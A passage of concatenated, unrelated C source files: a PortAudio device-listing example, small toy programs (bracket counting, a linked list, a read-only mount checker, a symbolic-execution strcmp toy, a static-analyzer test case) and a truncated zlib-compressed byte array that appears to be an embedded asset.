CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /* * The text above constitutes the entire PortAudio license; however, * the PortAudio community also makes the following non-binding requests: * * Any person wishing to distribute modifications to the Software is * requested to send the modifications to the original developer so that * they can be incorporated into the canonical version. It is also * requested that these non-binding requests be included along with the * license above. */ #include <stdio.h> #include <math.h> #include "portaudio.h" #ifdef WIN32 #include <windows.h> #if PA_USE_ASIO #include "pa_asio.h" #endif #endif /*******************************************************************/ static void PrintSupportedStandardSampleRates( const PaStreamParameters *inputParameters, const PaStreamParameters *outputParameters ) { static double standardSampleRates[] = { 8000.0, 9600.0, 11025.0, 12000.0, 16000.0, 22050.0, 24000.0, 32000.0, 44100.0, 48000.0, 88200.0, 96000.0, 192000.0, -1 /* negative terminated list */ }; int i, printCount; PaError err; printCount = 0; for( i=0; standardSampleRates[i] > 0; i++ ) { err = Pa_IsFormatSupported( inputParameters, outputParameters, standardSampleRates[i] ); if( err == paFormatIsSupported ) { if( printCount == 0 ) { printf( "\t%8.2f", standardSampleRates[i] ); printCount = 1; } else if( printCount == 4 ) { printf( ",\n\t%8.2f", standardSampleRates[i] ); printCount = 1; } else { printf( ", %8.2f", standardSampleRates[i] ); ++printCount; } } } if( !printCount ) printf( "None\n" ); else printf( "\n" ); } /*******************************************************************/ int main(void); int main(void) { int i, numDevices, defaultDisplayed; const PaDeviceInfo *deviceInfo; PaStreamParameters inputParameters, outputParameters; PaError err; err = Pa_Initialize(); if( err != paNoError ) { printf( "ERROR: Pa_Initialize returned 0x%x\n", err ); goto error; } printf( "PortAudio version number = %d\nPortAudio version text = '%s'\n", Pa_GetVersion(), Pa_GetVersionText() ); numDevices = Pa_GetDeviceCount(); if( numDevices < 0 ) { printf( "ERROR: Pa_GetDeviceCount returned 0x%x\n", numDevices ); err = numDevices; goto error; } printf( "Number of devices = %d\n", numDevices ); for( i=0; i<numDevices; i++ ) { deviceInfo = Pa_GetDeviceInfo( i ); printf( "--------------------------------------- device #%d\n", i ); /* Mark global and API specific default devices */ defaultDisplayed = 0; if( i == Pa_GetDefaultInputDevice() ) { printf( "[ Default Input" ); defaultDisplayed = 1; } else if( i == Pa_GetHostApiInfo( deviceInfo->hostApi )->defaultInputDevice ) { const PaHostApiInfo *hostInfo = Pa_GetHostApiInfo( deviceInfo->hostApi ); printf( "[ Default %s Input", hostInfo->name ); defaultDisplayed = 1; } if( i == Pa_GetDefaultOutputDevice() ) { printf( (defaultDisplayed ? "," : "[") ); printf( " Default Output" ); defaultDisplayed = 1; } else if( i == Pa_GetHostApiInfo( deviceInfo->hostApi )->defaultOutputDevice ) { const PaHostApiInfo *hostInfo = Pa_GetHostApiInfo( deviceInfo->hostApi ); printf( (defaultDisplayed ? "," : "[") ); printf( " Default %s Output", hostInfo->name ); defaultDisplayed = 1; } if( defaultDisplayed ) printf( " ]\n" ); /* print device info fields */ #ifdef WIN32 { /* Use wide char on windows, so we can show UTF-8 encoded device names */ wchar_t wideName[MAX_PATH]; MultiByteToWideChar(CP_UTF8, 0, deviceInfo->name, -1, wideName, MAX_PATH-1); wprintf( L"Name = %s\n", wideName ); } #else printf( "Name = %s\n", deviceInfo->name ); #endif printf( "Host API = %s\n", Pa_GetHostApiInfo( deviceInfo->hostApi )->name ); printf( "Max inputs = %d", deviceInfo->maxInputChannels ); printf( ", Max outputs = %d\n", deviceInfo->maxOutputChannels ); printf( "Default low input latency = %8.4f\n", deviceInfo->defaultLowInputLatency ); printf( "Default low output latency = %8.4f\n", deviceInfo->defaultLowOutputLatency ); printf( "Default high input latency = %8.4f\n", deviceInfo->defaultHighInputLatency ); printf( "Default high output latency = %8.4f\n", deviceInfo->defaultHighOutputLatency ); #ifdef WIN32 #if PA_USE_ASIO /* ASIO specific latency information */ if( Pa_GetHostApiInfo( deviceInfo->hostApi )->type == paASIO ){ long minLatency, maxLatency, preferredLatency, granularity; err = PaAsio_GetAvailableLatencyValues( i, &minLatency, &maxLatency, &preferredLatency, &granularity ); printf( "ASIO minimum buffer size = %ld\n", minLatency ); printf( "ASIO maximum buffer size = %ld\n", maxLatency ); printf( "ASIO preferred buffer size = %ld\n", preferredLatency ); if( granularity == -1 ) printf( "ASIO buffer granularity = power of 2\n" ); else printf( "ASIO buffer granularity = %ld\n", granularity ); } #endif /* PA_USE_ASIO */ #endif /* WIN32 */ printf( "Default sample rate = %8.2f\n", deviceInfo->defaultSampleRate ); /* poll for standard sample rates */ inputParameters.device = i; inputParameters.channelCount = deviceInfo->maxInputChannels; inputParameters.sampleFormat = paInt16; inputParameters.suggestedLatency = 0; /* ignored by Pa_IsFormatSupported() */ inputParameters.hostApiSpecificStreamInfo = NULL; outputParameters.device = i; outputParameters.channelCount = deviceInfo->maxOutputChannels; outputParameters.sampleFormat = paInt16; outputParameters.suggestedLatency = 0; /* ignored by Pa_IsFormatSupported() */ outputParameters.hostApiSpecificStreamInfo = NULL; if( inputParameters.channelCount > 0 ) { printf("Supported standard sample rates\n for half-duplex 16 bit %d channel input = \n", inputParameters.channelCount ); PrintSupportedStandardSampleRates( &inputParameters, NULL ); } if( outputParameters.channelCount > 0 ) { printf("Supported standard sample rates\n for half-duplex 16 bit %d channel output = \n", outputParameters.channelCount ); PrintSupportedStandardSampleRates( NULL, &outputParameters ); } if( inputParameters.channelCount > 0 && outputParameters.channelCount > 0 ) { printf("Supported standard sample rates\n for full-duplex 16 bit %d channel input, %d channel output = \n", inputParameters.channelCount, outputParameters.channelCount ); PrintSupportedStandardSampleRates( &inputParameters, &outputParameters ); } } Pa_Terminate(); printf("----------------------------------------------\n"); return 0; error: Pa_Terminate(); fprintf( stderr, "Error number: %d\n", err ); fprintf( stderr, "Error message: %s\n", Pa_GetErrorText( err ) ); return err; }

the_stack_data/298427.c

#include<stdio.h> #include<string.h> #include<stdbool.h> int magic_string_len(char str[], int len) { int i = 0; int j = len-1; bool flag_a, flag_b; int magic_len = 0; while(i<j) { if(str[i++] == '>' && str[j--] == '<') { magic_len += 2; } while(str[i] != '>' && i<j) { i++; } while(str[j] != '<' && i<j) { j--; } } return magic_len; } void main() { //char str[] = "<><><<>"; char str[] = "<<>>"; //char str[] = "<<<<><>>><>>><>><>><>>><<<<>><>>>>><<>>>>><><<<<>>"; //char str[] = ">>><<<"; int len = strlen(str); int res = magic_string_len(str, len); printf("magic str len is %d", res); }

the_stack_data/23574175.c

//Classification: #default/n/DEC/AIC/aS/A(A(c),A(v))/fr/cd //Written by: Sergey Pomelov //Reviewed by: Igor Eremeev //Comment: #include<stdio.h> int func(int a) { if (((a=0)==0)&&(a<0)) { return a + 1; } else { return a + 2; } } int main(void) { int a; scanf("%d",&a); printf("%d ",a); a = func(a); printf("%d ",a); return 0; }

the_stack_data/7949182.c

#include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/statvfs.h> int main(int argc, char* argv[]) { int retval; struct statvfs buf; if (argc != 2) { fprintf(stderr, "Usage: checkro <mountpoint>\n"); exit(9); } retval = statvfs(argv[1], &buf); if (retval != 0) { fprintf(stderr, "failed to check filesystem '%s': %s\n", argv[1], strerror(errno)); exit(1); } if (buf.f_flag & ST_RDONLY) { printf("1\n"); } else { printf("0\n"); } exit(0); }

the_stack_data/117788.c

#include <stdio.h> #include <stdlib.h> struct node{ int value; struct node* next; }; typedef struct node node_t; void printList(node_t *head){ node_t *temporary = head; while(temporary != NULL){ printf("%d -", temporary->value); temporary = temporary->next; } printf("\n"); } node_t *create_new_node(int value){ node_t*result = malloc(sizeof(node_t)); result->value = value; result->next = NULL; return result; } node_t *insert_at_head(node_t **head,node_t *node_to_insert){ node_to_insert->next = *head; *head = node_to_insert; return node_to_insert; } void insert_after_node(node_t *node_to_insert_after,node_t *newnode){ newnode->next = node_to_insert_after->next; node_to_insert_after->next = newnode; } node_t *find_node(node_t *head,int value){ node_t *tmp = head; while(tmp != NULL){ if(tmp->value == value)return tmp; tmp = tmp->next; } return NULL; } int main(){ node_t *head = NULL; node_t *tmp; int c; for(c=0 ;c<25 ; c++){ tmp = create_new_node(c); insert_at_head(&head, tmp); } tmp = find_node(head, 13); printf("Found Node With Value %d\n", tmp->value); insert_after_node(tmp,create_new_node(75)); printList(head); return 0; }

the_stack_data/31387541.c

/* Minimal toy example with input output * * This program will read data from stdin and compare it with a constant string * using standard strcmp function. * * Compile with : * $ gcc toy004-strcmp.c -o toy004-strcmp * * Analize it with: * $ python system.py --sym stdin example/toy004-strcmp */ #include <stdio.h> #include <stdlib.h> int main(int argc, char* argv[], char* envp[]){ char buffer[0x100] = {0}; unsigned char cmd; read(0, buffer, 0x100); if (strcmp(buffer, "ZARAZA") == 0 ) /*if (buffer[0] == 'Z' && \ buffer[1] == 'A' && \ buffer[2] == 'R' && \ buffer[3] == 'A' && \ buffer[4] == 'Z' && \ buffer[5] == 'A' && \ buffer[6] == '\x00')*/ { printf("Message: ZARAZA!\n"); } else { printf("Message: Not Found!\n"); } return 0; }

the_stack_data/184517636.c

#include<stdlib.h> size_t fire_s = 228616; size_t fire_sz = 35220; const char fire_z[] = { 0x78,0xda,0xec,0xbd,0x5,0x97,0x9d,0x55,0xb6,0x35,0xfc,0x6b,0x1a,0x9a,0xa6,0xe9, 0x34,0xae,0x1,0x92,0x60,0x21,0x2,0xc4,0xdd,0xdd,0x93,0x8a,0xbb,0x5b,0x45,0x2a, 0x5a,0x71,0x77,0x77,0x21,0x24,0x40,0x70,0x77,0x9a,0xbe,0xbf,0xe6,0xad,0x99,0xc9, 0x62,0xc9,0xde,0xfb,0x39,0xa7,0x42,0xdf,0x3b,0xbe,0x6f,0x8c,0x7e,0xc6,0xb8,0xb7, 0xc9,0xa9,0x23,0x8f,0xec,0xbd,0x64,0xae,0xb9,0xe6,0x5a,0xbc,0xf8,0xbf,0xc7,0x7f, 0x8f,0xff,0x1e,0xff,0x3d,0xfe,0x7b,0xfc,0xf7,0xf8,0x4f,0x1c,0x8b,0xee,0x1d,0xff, 0xbd,0xf,0xff,0xff,0xb8,0xcb,0x8b,0x92,0x23,0xff,0xb7,0xfa,0xbe,0xa1,0xde,0xdf, 0xa8,0xe7,0x7b,0x4b,0xdf,0xf2,0x7f,0x7f,0x47,0xef,0xef,0x7c,0xab,0xae,0xbb,0xfe, 0xf3,0xb8,0xff,0xdf,0xfd,0xcf,0xdf,0x9b,0x78,0x5e,0xff,0x89,0xbb,0x9c,0x3f,0x57, 0x7d,0xb5,0x75,0x2b,0xf0,0xfe,0x9f,0x4d,0xfd,0xdf,0x7e,0xff,0x9f,0xa8,0xbd,0x4b, 0x6a,0xef,0xc9,0xfa,0x77,0x56,0xeb,0x76,0x64,0x7d,0xdf,0x5d,0xef,0xaf,0xc6,0xb5, 0x52,0xcf,0xf3,0xa8,0xe7,0xec,0xca,0xe7,0xdc,0x3a,0xab,0xf2,0x67,0xf6,0x72,0xeb, 0xd6,0xf8,0xfd,0xd9,0xbc,0xaa,0x77,0x56,0x5d,0xff,0x9f,0xb7,0x9d,0xb9,0xfd,0x59, 0xdf,0xa7,0x6a,0xaf,0xca,0x3f,0xe3,0x35,0x5a,0xb3,0xe6,0xab,0x57,0x4d,0xfa,0x9e, 0xd6,0xec,0x82,0xd6,0x9e,0xc5,0xfd,0x79,0xdf,0x5a,0x5e,0xf9,0xcf,0x3c,0x8b,0xff, 0x84,0xf5,0xbc,0x9f,0x35,0xe6,0xcf,0xe1,0x3f,0xf5,0xab,0xff,0xbb,0xd1,0xc0,0xfd, 0x7a,0xfe,0xfb,0xbf,0x5f,0xf7,0x1b,0x49,0xd5,0x6b,0xbb,0xcb,0x6b,0xe8,0x7e,0xec, 0x53,0x79,0xed,0xfe,0xdf,0xe4,0x2,0xf5,0xc5,0x6c,0xad,0xf7,0xc5,0xb5,0x9f,0x47, 0xb5,0xb5,0xb9,0x7f,0x7f,0xdd,0xfa,0xe3,0xcf,0xdf,0xb3,0xfb,0x59,0x4d,0xf5,0xdb, 0xc3,0x3f,0x63,0x43,0xff,0xb3,0x3b,0xf8,0x7f,0xfb,0x4e,0xd7,0xde,0x53,0x7f,0xe6, 0xe,0xfb,0xb5,0x58,0xf2,0x60,0xf5,0x5c,0x43,0xd5,0x8e,0x6d,0xcd,0xfd,0xfd,0xdf, 0x59,0xcf,0xad,0x3d,0x93,0xff,0x9d,0xdf,0xae,0xb5,0xef,0xeb,0xcd,0x29,0xaa,0x57, 0x7d,0xad,0x95,0xf3,0xff,0x1d,0x7c,0xa1,0xca,0x6a,0xd4,0xf7,0x8d,0x4b,0xee,0x1d, 0xe9,0x6b,0xff,0x5b,0x4f,0xba,0xd6,0xb9,0xfc,0xdf,0xad,0xae,0xda,0x9e,0xa7,0x36, 0xf2,0xb2,0x64,0x89,0xbd,0x7f,0xf9,0x98,0x50,0xde,0x51,0xbe,0x7e,0x7b,0xdd,0xb9, 0x95,0xba,0xf0,0xde,0x21,0xdf,0x65,0xbf,0x79,0xe9,0xbd,0x43,0xbe,0x1d,0xef,0xe1, 0xa7,0xf8,0x9b,0x4b,0x97,0x2e,0xfb,0xe3,0xe0,0xfb,0xf8,0xaa,0x7c,0xca,0x1e,0xfa, 0x2a,0xbe,0x67,0x41,0xcb,0x31,0x7f,0xfe,0xbc,0x79,0x73,0xe7,0xce,0x69,0x39,0xe6, 0xcd,0x5b,0xb0,0x60,0xd1,0x22,0x7e,0x9f,0x7c,0x12,0xff,0xbd,0xfc,0xde,0xb1,0x6c, 0x99,0x9c,0xbd,0xbc,0xca,0xdf,0x93,0xef,0x5d,0xbe,0x7c,0xc5,0xbd,0x83,0xaf,0xc9, 0xd9,0xc9,0xe7,0xf5,0x35,0x9e,0xad,0xfc,0x3b,0xdd,0xd9,0xf2,0x5d,0xf6,0x17,0xe5, 0x3d,0xb8,0x3f,0xb,0xfe,0x38,0x16,0x2e,0xb4,0xeb,0x5a,0x3e,0x2b,0xf7,0x41,0x7f, 0x9d,0xdf,0x83,0xbf,0xcb,0x6f,0x2f,0x5a,0x84,0xcf,0x2f,0x5a,0x84,0x5f,0x5a,0xd9, 0x72,0xe0,0xac,0x17,0x2f,0xe6,0xbd,0x98,0x37,0x6f,0xfe,0x7c,0xde,0x61,0xfc,0x1e, 0xef,0xe,0x5e,0xc3,0x9d,0xe1,0xf7,0xe2,0xd5,0xf9,0xf3,0xf5,0xf7,0xf5,0xdc,0x78, 0xc8,0x3d,0xe5,0xe7,0xf0,0x4e,0x9e,0x2d,0xbf,0x13,0x7f,0xc5,0x6b,0xf2,0xb,0xf2, 0x6f,0x79,0xf6,0xf2,0x5d,0xf8,0x3d,0x9c,0xdd,0xaa,0x96,0x63,0xc5,0x8a,0xa5,0x4b, 0xe5,0x1e,0xc9,0x33,0x5c,0xbc,0x18,0xe7,0x31,0x77,0x2e,0x7f,0x67,0xe1,0xc2,0x25, 0x4b,0x56,0xac,0x58,0xb5,0x6a,0xe5,0xca,0x65,0xcb,0x16,0x2d,0xe2,0x39,0xe3,0x37, 0xf8,0x2e,0x5e,0x13,0xcf,0x96,0xbf,0x69,0xcf,0x56,0xce,0xc0,0xde,0x59,0xb9,0xe, 0xb9,0xa,0xfe,0x9b,0x77,0x67,0xd1,0xa2,0x65,0xcb,0xf0,0x5b,0x72,0x5e,0xfc,0xbe, 0xc5,0x8b,0x79,0x6f,0xf9,0x94,0x57,0xac,0x58,0xbd,0x7a,0xed,0xda,0x35,0x6b,0xf0, 0xe,0x9e,0x35,0xaf,0x5,0xf7,0x7a,0xe9,0xd2,0x5,0xb,0xe6,0xcc,0x99,0x35,0x6b, 0xf6,0xec,0xf9,0xf3,0x97,0x2e,0x5d,0xb5,0x6a,0xcd,0x9a,0xd5,0xab,0x97,0x2d,0x5b, 0xb8,0x50,0x5e,0x5b,0xb2,0x64,0xe5,0xca,0xd5,0xab,0x57,0xad,0x5a,0xb2,0x64,0xde, 0xbc,0x99,0x33,0x67,0xcc,0x98,0x35,0xb,0xaf,0xad,0x58,0x81,0x27,0x85,0x67,0x89, 0xef,0x5b,0xba,0x74,0xf5,0xea,0xf5,0xeb,0x37,0x6c,0x68,0x6c,0x5c,0xb6,0x6c,0xde, 0xbc,0x19,0x2d,0xc7,0x9c,0x39,0xb8,0x5e,0xb9,0x5a,0x9c,0x23,0xbe,0x65,0xcd,0xbd, 0x3,0x67,0xba,0x64,0x9,0xae,0x87,0x2b,0x1c,0xdf,0x31,0x77,0xee,0x8c,0x19,0xd3, 0xa6,0x35,0x34,0xcc,0x9a,0xb5,0x70,0xe1,0xaa,0x55,0xeb,0xd6,0xad,0x5f,0xbf,0x76, 0xed,0xb2,0x65,0xb,0x16,0xf0,0x6e,0xe2,0x1a,0xf0,0xac,0x78,0xc5,0x38,0xf8,0x44, 0xe7,0xcc,0xe1,0x4e,0xe1,0xda,0xc1,0xd9,0xe0,0x17,0x65,0xdf,0x70,0x55,0xe3,0x95, 0xd9,0xb3,0xa7,0x4f,0x6f,0x68,0x98,0x39,0x73,0xc1,0x82,0xe5,0xcb,0x71,0x6,0xcb, 0x97,0x2f,0x58,0x30,0x7b,0x36,0xae,0x64,0xf9,0xf2,0xc6,0xc6,0xf5,0xeb,0x1b,0x1b, 0x57,0xac,0xe0,0x2b,0x73,0xe7,0x2e,0x59,0xb2,0x7a,0xf5,0xba,0x96,0x63,0xf5,0x6a, 0xbd,0x33,0x73,0xe6,0xf0,0x89,0xe1,0x57,0x78,0xe7,0x78,0x1d,0xcb,0x97,0x73,0x9d, 0xf2,0x6f,0xf2,0x8b,0xf8,0xd4,0xf4,0xe9,0x53,0x5a,0x8e,0x19,0x33,0x78,0x35,0xfc, 0xfe,0x59,0xb3,0x66,0xce,0xc4,0x1d,0xe5,0xba,0xc3,0xb5,0x2c,0x5c,0x88,0xdf,0xdf, 0xb4,0x69,0xcb,0x96,0x4d,0x9b,0xd6,0xaf,0x5f,0xb5,0xa,0xeb,0x5e,0xef,0xd9,0x8a, 0x15,0xeb,0xd6,0x35,0xb5,0x1c,0x8d,0x8d,0xcb,0x97,0xe3,0x13,0xbc,0xf,0xf8,0x15, 0x3c,0x71,0xdc,0xcd,0x95,0x2b,0xf9,0x54,0xa6,0x4f,0x9f,0x39,0x73,0xfe,0xfc,0x15, 0x2b,0xd6,0xaf,0xdf,0xb4,0x69,0xc3,0x86,0x15,0x2b,0xe6,0xcc,0x99,0x32,0x65,0xe2, 0xc4,0xa9,0x53,0xe7,0xce,0x5d,0xbe,0x7c,0xfd,0xfa,0xad,0x5b,0x77,0xec,0xd8,0xb9, 0xb3,0xb9,0x79,0xd3,0xa6,0x55,0xab,0xe6,0xcf,0x9f,0x3e,0x7d,0xea,0xd4,0x86,0x6, 0x9c,0x7,0x56,0xb5,0xae,0x2c,0x9c,0xdd,0x8c,0x19,0x33,0x7f,0x3f,0x66,0xcf,0x5e, 0xb0,0x60,0xe9,0x52,0x3c,0xb3,0xd5,0xab,0x57,0xae,0x5c,0xba,0x74,0xe1,0xc2,0x59, 0xb3,0x26,0x4f,0x1e,0xd7,0x72,0x4c,0x99,0x32,0x67,0xe,0x56,0xf2,0xdc,0xb9,0xd, 0xd,0x53,0xa6,0x4c,0x9f,0xbe,0x60,0x1,0xae,0x10,0x4f,0x6b,0xfe,0x7c,0x7c,0x72, 0xde,0xbc,0xe5,0xcb,0x37,0x6c,0xd8,0xbe,0x1d,0xbf,0xb7,0x72,0x25,0x57,0xc3,0xec, 0xd9,0x78,0x5e,0xb3,0x67,0xcf,0x9d,0xbb,0x74,0xe9,0xc6,0x8d,0x7b,0xf6,0x1c,0x38, 0xb0,0x73,0xe7,0x9a,0x35,0xf3,0xe6,0xe1,0xbc,0x17,0x2e,0x5c,0xb1,0x82,0xeb,0x62, 0xed,0xda,0x75,0xeb,0x36,0xb4,0x1c,0x1b,0x37,0x36,0x35,0x6d,0x6e,0x39,0x36,0x6e, 0xc4,0x93,0xc2,0x5a,0x5d,0xbb,0x76,0xd3,0xa6,0xed,0xdb,0x77,0xb4,0x1c,0xdb,0xb6, 0x6d,0xd8,0xb0,0x6c,0xd9,0xec,0xd9,0x53,0xa7,0x4e,0x9b,0x36,0x6f,0x1e,0x7e,0x79, 0xcd,0x9a,0x45,0x8b,0x66,0xce,0xc4,0x15,0x2d,0x5a,0x84,0xa7,0x83,0xf5,0xb4,0x6a, 0xd5,0x86,0xd,0xb8,0xa7,0x78,0x8a,0x6b,0xd6,0x34,0x35,0x35,0x37,0xef,0xdc,0xb9, 0x75,0x6b,0x63,0x23,0xae,0x63,0xc9,0x92,0xc6,0xc6,0xdd,0xbb,0xcf,0x9e,0xbd,0x7d, 0xfb,0xee,0xdd,0xeb,0xd7,0xf7,0xed,0x5b,0xb8,0x70,0xe4,0xc8,0x1,0x3,0x86,0xf, 0x9f,0x3e,0x1d,0xab,0x1a,0x3b,0x66,0xc5,0x8a,0x4d,0x9b,0x70,0x8e,0xbb,0x76,0x35, 0x35,0xe1,0xfa,0xf1,0xaf,0xe3,0xc7,0xcf,0x9e,0x3d,0x77,0xee,0xd4,0xa9,0x3,0x7, 0x9a,0x9a,0x16,0x2c,0x18,0x37,0x6e,0x48,0xcb,0x31,0x6e,0xdc,0x82,0x5,0x5b,0xb6, 0x9c,0x3c,0x79,0xfd,0xfa,0xcd,0x9b,0xa7,0x4e,0x35,0x35,0xcd,0x98,0x31,0x66,0x4c, 0x43,0xc3,0x96,0x2d,0x37,0x6f,0xfe,0xf8,0xe3,0xf7,0xdf,0x5f,0xbf,0xbe,0x7d,0x3b, 0x9e,0xd6,0xf6,0xed,0x17,0x2f,0x7e,0xf2,0xc9,0x37,0xdf,0x7c,0xf1,0xc5,0x9d,0x3b, 0xe7,0xce,0xed,0xdb,0xb7,0x71,0x23,0xf6,0xca,0xfe,0xfd,0x37,0x6e,0x7c,0xfb,0xed, 0xbf,0xff,0xfd,0xdb,0x6f,0xdf,0x7d,0xf7,0xd1,0x47,0xef,0xbe,0x7b,0xb5,0xe5,0xb8, 0x71,0x3,0xe7,0xf4,0xf1,0xc7,0x77,0xef,0xbe,0xfb,0xee,0xc5,0x8b,0x67,0xce,0x5c, 0xbc,0x78,0xfb,0xf6,0xe7,0x9f,0x7f,0xf1,0xc5,0x8d,0x1b,0xcd,0xcd,0x93,0x27,0x77, 0xea,0xf4,0xd4,0x53,0xcf,0x3c,0xf3,0xf6,0xdb,0x33,0x67,0xee,0xdd,0x7b,0xed,0xda, 0xd5,0xab,0x3b,0x76,0x8c,0x1e,0xfd,0xec,0xb3,0x7f,0xf9,0xcb,0xc3,0xf,0x77,0xef, 0xbe,0x66,0xcd,0x8d,0x1b,0x3f,0xff,0xfc,0x3f,0xff,0xf3,0xcb,0x2f,0x5f,0x7d,0xf5, 0xd1,0x47,0xef,0xbd,0x77,0xed,0xda,0x85,0xb,0xe7,0xcf,0x5f,0xbd,0xfa,0xc1,0x7, 0x5f,0x7d,0xf5,0xc3,0xf,0xdf,0x7f,0xff,0xf5,0xd7,0x5f,0x7c,0xf1,0xd9,0x67,0x1f, 0x7f,0x7c,0xfb,0xf6,0xc5,0x8b,0x47,0x8f,0xee,0x6b,0x39,0xe,0x1f,0x3e,0x72,0x64, 0xcf,0x9e,0xc6,0xc6,0xd9,0xb3,0x27,0x4e,0x9c,0x3c,0x79,0xd1,0xa2,0xed,0xdb,0x4f, 0x9f,0xbe,0x7a,0xf5,0xca,0x95,0x93,0x27,0xf7,0xee,0xc5,0xb3,0xdb,0xb7,0xef,0xe8, 0xd1,0x23,0x47,0xb6,0x6f,0x9f,0x3f,0x7f,0xe0,0xc0,0xf6,0xed,0xff,0xf9,0xcf,0x7, 0x1f,0xfc,0xcb,0x5f,0x1e,0x7c,0xb0,0x4d,0x9b,0x76,0xed,0x6,0xe,0x5c,0xb0,0xa0, 0xb9,0xf9,0xe0,0xc1,0x9d,0x3b,0x57,0xaf,0xc6,0xee,0x58,0xbe,0xbc,0xb9,0xf9,0xd8, 0xb1,0xd3,0xa7,0x8f,0x1f,0x3f,0x78,0x70,0xef,0xde,0x7d,0xfb,0xf6,0xef,0xdf,0xbb, 0xb7,0xb9,0x79,0xe3,0x46,0xd8,0x9b,0xf5,0xeb,0xb7,0x6c,0xd9,0xb1,0x63,0xd7,0xae, 0xdd,0xbb,0xf7,0xee,0x3d,0x70,0xe0,0xd0,0xa1,0x7d,0xfb,0x36,0x6c,0x98,0x36,0xed, 0x9d,0x77,0x1e,0x7f,0xfc,0x2f,0xf7,0x8e,0x7,0x1f,0xfc,0xeb,0x5f,0x1f,0x78,0x40, 0xfe,0xfb,0xc1,0x7,0xe5,0xbf,0xf5,0x78,0xe0,0x81,0xbf,0xfe,0xf5,0xe1,0x87,0x1f, 0xf9,0xe3,0x68,0xd3,0xe6,0xd1,0x47,0x1f,0x7b,0xec,0xd1,0x47,0x1f,0x79,0xe4,0x6f, 0x2d,0xc7,0x3f,0xfe,0xf1,0xd4,0x53,0x6d,0xdb,0xbe,0xf8,0xe2,0xb3,0xcf,0xb6,0x69, 0xc3,0xcf,0x3e,0xf0,0xc0,0x43,0xf,0xfd,0xed,0x6f,0xf8,0xd6,0xbf,0xfe,0xf5,0xef, 0x7f,0xff,0xe7,0x3f,0x1f,0x6f,0x39,0x9e,0x7c,0xf2,0xd9,0x67,0x5f,0x7a,0xa9,0x7d, 0xfb,0x17,0x5f,0x7c,0xf2,0xc9,0x87,0x1e,0xe2,0xf7,0x3e,0xf4,0xd0,0x5f,0xff,0xca, 0xff,0xfa,0xdb,0xdf,0x9e,0x7a,0xea,0xa5,0x97,0xda,0xb5,0x7b,0xe1,0x85,0xc7,0x1f, 0xff,0xfb,0xdf,0xff,0xf6,0xb7,0x47,0x1e,0x79,0xf4,0xd1,0xc7,0x1f,0x7f,0xec,0xb1, 0x7f,0xfe,0xf3,0x1f,0xff,0xc0,0xaf,0xe1,0xf3,0x4f,0x3f,0xfd,0xec,0xb3,0x2f,0xbc, 0x80,0xef,0x78,0xf5,0xd5,0x37,0xde,0x78,0xf3,0xcd,0x4e,0x9d,0x3a,0x76,0xec,0xd0, 0xa1,0x6d,0xdb,0x67,0x9e,0x79,0xfa,0xe9,0xe7,0x9e,0x7b,0xf1,0xc5,0x97,0x5e,0xc2, 0x39,0x3c,0xf6,0xd8,0xdf,0xfe,0xc6,0xef,0x7c,0xe2,0x89,0x37,0xdf,0x1c,0x36,0x6c, 0xf2,0xe4,0x9,0x13,0xfa,0xf5,0x7b,0xe5,0x95,0xe7,0x9e,0x7b,0xe5,0x95,0x81,0x3, 0x67,0xcf,0x86,0xbd,0x85,0x6d,0x58,0xb6,0x6c,0xe7,0xce,0x2b,0x57,0xbe,0xf8,0xe2, 0xe7,0x9f,0xff,0xd5,0x72,0xfc,0xf6,0xdb,0xbf,0xff,0xfd,0x3f,0x2d,0x7,0xff,0x3f, 0x9f,0xe1,0xdd,0xbb,0x1f,0x7e,0xf8,0xe9,0xa7,0xdf,0x7d,0xf7,0xeb,0xaf,0xff,0xbe, 0x77,0xfc,0xcf,0xef,0x87,0xfc,0xf7,0x6f,0xbf,0xfd,0xf4,0xd3,0x77,0xdf,0x7d,0xff, 0xfd,0x2f,0xbf,0xe0,0x5f,0x3f,0xff,0xfc,0xcd,0x37,0x5f,0x7e,0x89,0x77,0xff,0xf6, 0xdb,0x8f,0x3f,0x7e,0xfa,0xe9,0x7b,0x2d,0xc7,0xc7,0x1f,0xe3,0xdf,0xf8,0xcb,0x67, 0x9f,0x7d,0xfe,0xf9,0x77,0xdf,0xfd,0xeb,0x5f,0xfc,0x6,0xf9,0xb5,0x5f,0x7f,0xfd, 0xfe,0xfb,0x2f,0xbe,0xf8,0xf4,0xd3,0xcf,0x3f,0xff,0xfa,0xeb,0xef,0xbf,0xff,0xf9, 0xe7,0xdf,0x7e,0xc3,0xab,0xff,0xfa,0x97,0xbc,0xfa,0xcd,0x37,0x3f,0xfd,0xf4,0xaf, 0x7f,0xc9,0x2f,0xff,0xfa,0xeb,0x77,0xdf,0x7d,0xd9,0x72,0x7c,0xff,0xbd,0xbc,0x82, 0xf3,0x96,0xff,0xfa,0xe1,0x87,0xef,0xbe,0xfb,0xf1,0x47,0xbc,0x1b,0xff,0xfd,0xcd, 0x37,0xf8,0x2c,0xff,0x86,0xdf,0xff,0xbc,0xe5,0xf8,0xea,0xab,0x6f,0x5b,0x8e,0xaf, 0xbe,0xfa,0xe4,0x93,0x3b,0x77,0xae,0x5f,0xbf,0x7c,0xf9,0xd2,0xa5,0xab,0x57,0x6f, 0xde,0xbc,0x73,0xe7,0xee,0xdd,0xcf,0x3e,0xc3,0xbb,0x7f,0xfc,0xf1,0xee,0xdd,0xc3, 0x87,0x67,0xcf,0x7e,0xeb,0xad,0xc7,0x1e,0x7b,0xe8,0xa1,0x36,0x6d,0x9e,0x7f,0xbe, 0x5d,0xbb,0x97,0x5f,0x7e,0xe6,0x99,0xc7,0x1e,0xc3,0x13,0xc0,0xf3,0x7b,0xfe,0xf9, 0xb6,0x6d,0x71,0x97,0x9f,0x7f,0xfe,0xc9,0x27,0x1f,0x7b,0xec,0xf1,0xc7,0xe5,0x89, 0x3e,0xf3,0xc,0x9e,0xcf,0x73,0xcf,0xbd,0xfc,0x72,0x87,0xe,0xed,0xda,0xb5,0x6d, 0xfb,0xc2,0xb,0x2f,0xbe,0xf8,0xf2,0xcb,0x2f,0xbd,0xf4,0xdc,0x73,0x4f,0x3c,0xf1, 0xe8,0xa3,0x7c,0x92,0xff,0xf8,0xc7,0x43,0xf,0x61,0x3d,0xe0,0xc9,0xe2,0x5f,0x78, 0xf2,0xf,0x3c,0xf0,0xf0,0xc3,0x58,0x1d,0x58,0x49,0xf8,0xab,0x5d,0x73,0xf,0x3e, 